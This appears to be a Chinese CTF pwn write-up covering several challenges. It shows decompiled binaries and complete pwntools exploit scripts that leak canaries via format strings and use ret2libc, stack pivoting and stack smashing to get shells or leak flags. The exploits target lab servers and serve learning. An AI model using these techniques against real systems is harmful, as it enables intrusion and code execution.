本篇文章主要写几个值得记一笔的题目,其他题目都是类似换皮。
正如题目所说,题目的大概意思是要我们使用gdb进行调试。
就开启了NX
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[32]; // [rsp+0h] [rbp-50h] BYREF
char src[44]; // [rsp+20h] [rbp-30h] BYREF
unsigned int seed; // [rsp+4Ch] [rbp-4h]
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
setbuf(stdout, 0LL);
puts("GDB-pwndbg maybe useful");
strcpy(src, "Ayaka_nbbbbbbbbbbbbbbbbb_pluss");
strcpy(buff, src);
seed = 1;
srand(1u);
enccrypt(buff);
read(0, buf, 0x1EuLL);
if ( strncmp(buff, buf, 0x1EuLL) )
{
puts("Oh No!You lose!!!");
exit(0);
}
return system("/bin/sh");
}
代码大体逻辑如下:
strcpy(src, "Ayaka_nbbbbbbbbbbbbbbbbb_pluss");
strcpy(buff, src);
seed = 1;
srand(1u);
enccrypt(buff);
加密字符串Ayaka_nbbbbbbbbbbbbbbbbb_pluss
read(0, buf, 0x1EuLL);
if ( strncmp(buff, buf, 0x1EuLL) )
{
puts("Oh No!You lose!!!");
exit(0);
}
return system("/bin/sh");
如果buf = buff 也就是加密后的字符串,则直接getshell。
经过上一次后我们知道这题的意思是什么了,直接GDB打开调试。
圈出来的四行就是buff加密后的内容,为什么是0x404100呢?
从始至终都是这个地址,所以我们直接查看这个地址的数据即可,但是需要在encrypt函数后。
那么EXP就很简单了。
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#io = process('./ezcmp')
io = remote("43.143.7.127",28776)
elf = ELF('./ezcmp')
buff = p64(0x144678aadc0e4072) + p64(0x84b6e81a4c7eb0e2) + p64(0xf426588abcee2052) + p64(0x0000c8cb2c5e90c2)
io.sendline(buff)
io.interactive()
本题一次考两个点:Canary泄露 与 ret2libc
经过littleof的学习,我们已经懂得了如何通过题目所提示的函数泄露Canary,从而绕过Canary。
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
gift();
vuln();
return 0;
}
unsigned __int64 vuln()
{
char buf[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Pull up your sword and tell me u story!");
read(0, buf, 0x64uLL);
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 gift()
{
char format[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("I'll give u some gift to help u!");
__isoc99_scanf("%6s", format);
printf(format);
puts(byte_400A05);
fflush(0LL);
return __readfsqword(0x28u) ^ v2;
}
vuln函数的read是栈溢出漏洞,那么该如何泄露Canary呢?很简单。
gift函数中存在着__isoc99_scanf。但是%6s阻止了我们暴力泄露。但是我们可以尝试利用格式化字符串漏洞。
可见确实存在格式化字符串漏洞。我们逐步添加,可以得到偏移是6。
那么AA%7$p就是Canary。
因此我们通过格式化字符串泄露Canary,接下来就是常规的ret2libc。
io.recvuntil(b'help u!\n')
Canary_Leak = b'AA%7$p'
io.send(Canary_Leak)
io.recvuntil(b'0x')
Canary = int(io.recv(16),16)
log.success("Canary: " + (hex(Canary)))
io.recvuntil(b'story!\n')
Payload_Vuln = Padding + p64(Canary) + p64(ret) + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln)
io.sendline(Payload_Vuln)
Address = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
log.success("PutsAddr: " + (hex(Address)))
libc = LibcSearcher('puts',Address)
libcbase = Address - libc.sym['puts']
system = libcbase + libc.sym['system']
binsh = libcbase + libc.sym['str_bin_sh']
io.recvuntil(b'story!\n')
Payload_GetShell = Padding + p64(Canary) + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
io.sendline(Payload_GetShell)
io.interactive()
from pwn import *
from LibcSearcherX import *
context(arch='amd64', os='linux', log_level='debug')
#io = process('./BBROP')
io = remote('1.14.71.254',28283)
elf = ELF('./BBROP')
Padding = b'A' * (0x20 - 0x08)
rdi = 0x400993
ret = 0x4005F9
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
vuln = elf.sym['vuln']
io.recvuntil(b'help u!\n')
Canary_Leak = b'AA%7$p'
io.send(Canary_Leak)
io.recvuntil(b'0x')
Canary = int(io.recv(16),16)
log.success("Canary: " + (hex(Canary)))
io.recvuntil(b'story!\n')
Payload_Vuln = Padding + p64(Canary) + p64(ret) + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln)
io.sendline(Payload_Vuln)
Address = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
log.success("PutsAddr: " + (hex(Address)))
libc = LibcSearcher('puts',Address)
libcbase = Address - libc.sym['puts']
system = libcbase + libc.sym['system']
binsh = libcbase + libc.sym['str_bin_sh']
io.recvuntil(b'story!\n')
Payload_GetShell = Padding + p64(Canary) + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
io.sendline(Payload_GetShell)
io.interactive()
线程竞争,根据这个词可以大致推测出用意。
繁多的函数,我们先运行一下程序试试。
一个简单的售出购入小程序。
输入1查看会发现我们开局拥有100金币,并且还拥有一个pen。而pen的售价是99。
我们尝试快速售出2个pen。
io.sendline(b'3')
io.sendline(b'00')
io.sendline(b'3')
io.sendline(b'00')
金币从100变成了298,也就是得到了198的金币。
而flag的价格为200,因此本题就解决了。
from pwn import *
#io = process("./hyperthread")
io = remote("1.14.71.254", 28254)
context(arch='amd64', os='linux', log_level='debug')
io.sendline(b'3')
io.sendline(b'00')
io.sendline(b'3')
io.sendline(b'00')
io.sendline(b'2')
io.sendline(b'1')
io.recv()
io.sendline(b'1')
io.interactive()
今天费了点时间,基本上算是搞懂了栈迁移。
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
puts("Welcome, my friend. What's your name?");
vul();
return 0;
}
int vul()
{
char s[40]; // [esp+0h] [ebp-28h] BYREF
memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Hello, %s\n", s);
read(0, s, 0x30u);
return printf("Hello, %s\n", s);
}
int hack()
{
return system("echo flag");
}
hack函数是一个误导。为什么呢?因为read只能读入0x30大小的数据,而s的大小就0x28了,也就是说只有0x08大小的数据供我们构造ROP链。显然就0x08,在hack函数还只是echo一个flag到终端上来看,是不够的。
因此我们考虑栈迁移。
既然是栈迁移,我们先找到leave,ret。
本题读入了2次read,我们可以尝试将/bin/sh写入s中。那么我们如何获取s的地址?
我们使用gdb进行调试,先将断点下在vul函数之前:
一路next到vul函数,输入AAAA和BBBB。
使用search指令搜索BBBB位于哪里
然后使用distance指令计算与ebp的偏移:
得到了s = ebp - 0x38。
接下来开始构造EXP:
Padding = b'A' * 0x27 + b'C'
io.send(Padding)
io.recvuntil(b'C')
EBP = u32(io.recv(4))
s = EBP - 0x38
首先是接收EBP地址的Payload。
Printf会在字符串结尾加上一个'\x00'。我们手动填满buf即可让printf打印出EBP的地址。
Payload = (b'A' * 0x04) + p32(system) + p32(vul) + p32(s + 0x10) + b'/bin/sh'
Payload = Payload.ljust(0x28,b'\x00')
Payload += p32(s) + p32(leave_ret)
(b'A' * 0x04) 栈对齐
system 调用system函数
vul 返回地址,随便填 防止程序崩溃
s + 0x10 为什么是0x10,32位中地址长度是0x04,而此处Payload从第一个开始算到第四个,4x4 = 16 = 0x10。
b'/bin/sh' 将 /bin/sh 字符串送入栈中
ljust 在payload的末尾填充空字节,填充的大小为0x28-len(Payload)
s 指向本段ROP链的地址,覆盖了ebp
leave_ret 将eip覆盖为ebp,也就是刚才的s,执行ROP链
from pwn import *
context(arch='i386',os='linux',log_level='debug')
io = remote('1.14.71.254',28367)
#io = process('./CISCN_2019_PWN2')
elf = ELF('./CISCN_2019_PWN2')
Padding = b'A' * 0x27 + b'C'
system = elf.plt['system']
vul = elf.sym['vul']
leave_ret = 0x80484b8
io.send(Padding)
io.recvuntil(b'C')
EBP = u32(io.recv(4))
s = EBP - 0x38
Payload = (b'A' * 0x04) + p32(system) + p32(vul) + p32(s + 0x10) + b'/bin/sh'
Payload = Payload.ljust(0x28,b'\x00')
Payload += p32(s) + p32(leave_ret)
io.sendline(Payload)
io.interactive()
大佬们觉得很简单的一题,我却因为为什么要用%15$p发愁了一天。
__int64 __fastcall main(int a1, char **a2, char **a3)
{
__gid_t rgid; // [rsp+Ch] [rbp-4h]
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
rgid = getegid();
setresgid(rgid, rgid, rgid);
sub_1240();
sub_132F();
return 0LL;
}
unsigned __int64 sub_132F()
{
char format[32]; // [rsp+0h] [rbp-60h] BYREF
char v2[56]; // [rsp+20h] [rbp-40h] BYREF
unsigned __int64 v3; // [rsp+58h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Hi! What's your name? ");
gets(format);
printf("Nice to meet you, ");
strcat(format, "!\n");
printf(format);
printf("Anything else? ");
gets(v2);
return __readfsqword(0x28u) ^ v3;
}
int sub_1229()
{
return system("/bin/cat flag.txt");
}
打印函数就不放了,有些人没有sub_1229函数,这个我也没有。
手动创建即可,虽然意义不大。
那么现在开始分析源码:
printf("Hi! What's your name? ");
gets(format);
printf("Nice to meet you, ");
strcat(format, "!\n");
printf(format);
printf("Anything else? ");
gets(v2);
本题保护全开,我们需要先想办法绕过Canary才能干其他的事情。
那么我们该如何绕过Canary呢?
看到format,我们就想起来了 格式化字符串。
那么首先尝试通用Payload:AAAAAAAA-%p-%p-%p-%p
本题存在格式化字符串漏洞。那么我们只需要构造泄露Canary的EXP即可。
打开GDB进行动态调试,断点有两种下的办法:
b *$rebase(0x13BB)
将断点下在偏移为0x13BB函数。
b *printf
将断点下在printf。
效果一样,就不做演示了。我选择上面那种,上面那种需要先运行程序,然后Ctrl + C 使其在后台运行,才能下断点。
随便输入什么内容。
stack 50 查看栈的状态
我们需要注意的是圈出来的2个地方。上面那个是Canary。Canary的末尾总是截断符,因此很容易识别。
那么为什么0x7fffffffde58 —▸ 0x55555555546f ◂— mov eax, 0 也被特别关注了呢?
因为这个地址代表了我们的main函数结尾的一个部分的地址,我们可以通过这个地址进而计算出栈的基址。
具体方法如下:
首先在IDA中找到偏移对应的地址,然后使用distance或者python计算出基址。方法如下:
首先使用vmmap指令查看我们的程序的基址:
0x555555554000 0x555555555000 r--p 1000 0 /home/kaguya/PwnExp/findflag
就是我们要找的。
我们使用指令:distance 0x55555555546f 0x555555554000
可得偏移为0x146F,其实IDA中也写了:
然后就可以开始构造我们的ROP链了。我选择使用LibcSearcher进行构造。我们首先要找到2个ROP,一个是RDI用来传参,一个是RET用来栈平衡。
相信看到这的大家对这已经轻车熟路了,那我就不放详细过程了。
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
io = process('./find_flag')
#io = remote('1.14.71.254', 28320)
elf = ELF('./find_flag')
io.sendline(b'%17$p-%19$p')
io.recvuntil(b'you, ')
Canary = int(io.recv(18), 16)
log.success('Canary: ' + (hex(Canary)))
io.recvuntil(b'-')
Base = int(io.recv(14), 16)
log.success('mov eax 0 Address: ' + (hex(Base)))
Base = Base - 0x146F
log.success('Base Address: ' + (hex(Base)))
#gdb.attach(io)
rdi = Base + 0x14E3
ret = Base + 0x101A
system = Base + elf.sym['system']
cat_flag = Base + 0x2004
Padding = b'A' * (0x40 - 0x08)
payload = Padding + p64(Canary) + p64(0) + p64(ret) + p64(rdi) + p64(cat_flag) + p64(system)
io.sendlineafter(b'else?', payload)
io.recv()
io.interactive()
搞懂了原理,来讲解一下本人浅薄的理解。
保护全开,看看IDA。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
bool v3; // zf
__int64 v4; // rcx
char *v5; // rsi
const char *v6; // rdi
char v8[16]; // [rsp+0h] [rbp-A8h] BYREF
int (*v9)(); // [rsp+10h] [rbp-98h]
char v10[104]; // [rsp+20h] [rbp-88h] BYREF
unsigned __int64 v11; // [rsp+88h] [rbp-20h]
v11 = __readfsqword(0x28u);
sub_DA0();
sub_F40(a1, a2);
v9 = backdoor;
puts("Hi~ This is a very easy echo server.");
puts("Please give me your name~");
_printf_chk(1LL, "Name: ");
sub_E40(v8, 16LL);
_printf_chk(1LL, "Welcome %s into the server!\n", v8);
do
{
while ( 1 )
{
_printf_chk(1LL, "Input: ");
gets(v10);
_printf_chk(1LL, "Output: %s\n\n", v10);
v4 = 9LL;
v5 = v10;
v6 = "backdoor";
do
{
if ( !v4 )
break;
v3 = *v5++ == *v6++;
--v4;
}
while ( v3 );
if ( !v3 )
break;
((void (__fastcall *)(const char *, char *))v9)(v6, v5);
}
}
while ( strcmp(v10, "exitexit") );
puts("See you next time~");
return 0LL;
}
int backdoor()
{
__int64 v0; // rax
int v1; // ebx
unsigned __int64 v3; // [rsp+8h] [rbp-10h]
v3 = __readfsqword(0x28u);
if ( unk_2020A0 )
{
return __readfsqword(0x28u) ^ v3;
}
else
{
unk_2020A0 = 1;
v1 = open("./flag", 0);
if ( v1 < 0 )
perror("open");
read(v1, &unk_202040, 0x50uLL);
LODWORD(v0) = close(v1);
}
return v0;
}
主要就这两个。
我们可以发现在IDA中,栈上的几个变量是挨在一起的。
本题不使用泄露Canary的方式来做题,正如提示所说,使用Stack Smash。
Canary被覆盖后,会调用函数 __stack_chk_fail 来打印argv[0]指针所指向的字符串,正常情况下这个指针指向程序名。
*** stack smashing detected ***: terminated
如果我们利用栈溢出覆盖argv[0]为我们想要输出的字符串地址,那么在__fortify_fail函数中就会输出我们想要的信息
见大佬的文章:
好好说话之Stack smash
只有Name是可以泄露基址的,因此我们考虑在Name下手。
先使用程序输入9个AB。
我们可以看到我们输入的数据和程序的地址紧紧挨着。也就是说我们只需要接收这个地址,减去它的偏移,就能得到基址。
但是我们不能采用recvuntil AB*9,因为
[DEBUG] Sent 0x13 bytes:
b'ABABABABABABABABAB\n'
[DEBUG] Received 0x30 bytes:
00000000 57 65 6c 63 6f 6d 65 20 41 42 41 42 41 42 41 42 │Welc│ome │ABAB│ABAB│
00000010 41 42 41 42 41 42 41 42 f0 8c 73 12 2b 56 20 69 │ABAB│ABAB│··s·│+V i│
00000020 6e 74 6f 20 74 68 65 20 73 65 72 76 65 72 21 0a │nto │the │serv│er!·│
00000030
我们可以发现我们只接收到了8个AB。因此我们需要使用
io.recvuntil(b'Name: ')
io.sendline(b'AB' * 9)
io.recvuntil(b'AB' * 8)
AB之后就是我们需要的地址。但是只有6个字节大小。
f0 8c 73 12 2b 56
│··s·│+V i│
leak = u64(io.recv(6).ljust(8, b'\x00'))
使用ljust补全即可。
然后就是减去它的偏移地址,获取基址:
pie_base = leak - 0xcf0
log.success('pie base: ' + hex(pie_base))
接下来是将backdoor存放到0x202040地址内的flag地址计算出来:
io.recvuntil(b'Input: ')
io.sendline(b'backdoor')
flag_addr = pie_base + 0x202040
使用backdoor绕过
io.recvuntil(b'Input: ')
payload = b'exitexit'.ljust(16, b'\x00') + p64(flag_addr) * 0x100
无脑填充flag地址,用来溢出gets函数,然后使用exit补全Payload。(原因在源码中。)
完整Payload:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#io = process('./easyecho')
io = remote('1.14.71.254',28606)
elf = ELF('./easyecho')
io.recvuntil(b'Name: ')
io.sendline(b'AB' * 9)
io.recvuntil(b'AB' * 8)
leak = u64(io.recv(6).ljust(8, b'\x00'))
#gdb.attach(io)
#pause()
pie_base = leak - 0xcf0
log.success('pie base: ' + hex(pie_base))
io.recvuntil(b'Input: ')
io.sendline(b'backdoor')
flag_addr = pie_base + 0x202040
io.recvuntil(b'Input: ')
payload = b'exitexit'.ljust(16, b'\x00') + p64(flag_addr) * 0x100
io.sendline(payload)
io.interactive()
开启的保护还挺多,我们看看IDA。
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
FILE *stream; // [rsp+8h] [rbp-68h]
char format[32]; // [rsp+10h] [rbp-60h] BYREF
char s[8]; // [rsp+30h] [rbp-40h] BYREF
__int64 v6; // [rsp+38h] [rbp-38h]
__int64 v7; // [rsp+40h] [rbp-30h]
__int64 v8; // [rsp+48h] [rbp-28h]
__int64 v9; // [rsp+50h] [rbp-20h]
__int64 v10; // [rsp+58h] [rbp-18h]
__int16 v11; // [rsp+60h] [rbp-10h]
unsigned __int64 v12; // [rsp+68h] [rbp-8h]
v12 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
stream = fopen("flag.txt", "r");
*(_QWORD *)s = 0LL;
v6 = 0LL;
v7 = 0LL;
v8 = 0LL;
v9 = 0LL;
v10 = 0LL;
v11 = 0;
if ( stream )
fgets(s, 50, stream);
HIBYTE(v11) = 0;
while ( 1 )
{
puts("Echo as a service");
gets(format);
printf(format);
putchar(10);
}
}
格式化字符串漏洞,程序使用函数读入了flag.txt文件,然后存放在s中。
s位于rbp-0x40的位置,因此我们只需要知道这个地址的偏移即可。
gdb调试,将断点下在fgets
由于我是做完题目才写的wp,因此我已经提前将flag放入,但是其实不知道也没事,程序限制了flag文件读取的长度,50字节,因此就算放50个1也行。
可以发现程序将flag存储在了栈上的这些地址中:
使用fmtarg获取偏移:
可得我们只需要使用%12$p-%13$p-%14$p-%15$p-%16$p-%17$p即可获取flag。
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#io = process('/home/Kaguya/桌面/fmt')
io = remote('43.142.108.3',28236)
elf = ELF('/home/Kaguya/桌面/fmt')
io.sendline(b'%12$p-%13$p-%14$p-%15$p-%16$p-%17$p')
io.interactive()
nums= ['377b46544353534e', '2d31336331653164', '3238342d66323630', '332d353338392d39', '6635353930653335', '7d356333']
for strs in nums:
i = len(strs)-2
while i >= 0:
num = strs[i:i+2]
print(chr(int(num,16)),end="")
i = i-2
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[256]; // [rsp+0h] [rbp-110h] BYREF
void *v5; // [rsp+100h] [rbp-10h]
int fd; // [rsp+10Ch] [rbp-4h]
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
setbuf(stdout, 0LL);
puts("Welcome to the world of fmtstr");
puts("> ");
fd = open("flag", 0);
if ( fd == -1 )
perror("Open failed.");
read(fd, &name, 0x30uLL);
v5 = &name;
puts("Input your format string.");
read(0, buf, 0x100uLL);
puts("Ok.");
printf(buf);
return 0;
}
格式化字符串漏洞,程序使用函数读入了flag.txt文件,我们使用gdb进行动态调试:
首先r运行程序
然后按Ctrl+C
可以发现我们的数据已经在栈上了。
偏移为38,不要信那个39,2个都要试试的。
因此就是 %38$s
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io = process('/home/Kaguya/桌面/ezfmt')
#io = remote('43.142.108.3',28236)
elf = ELF('/home/Kaguya/桌面/ezfmt')
io.sendline(b'%38$s')
io.interactive()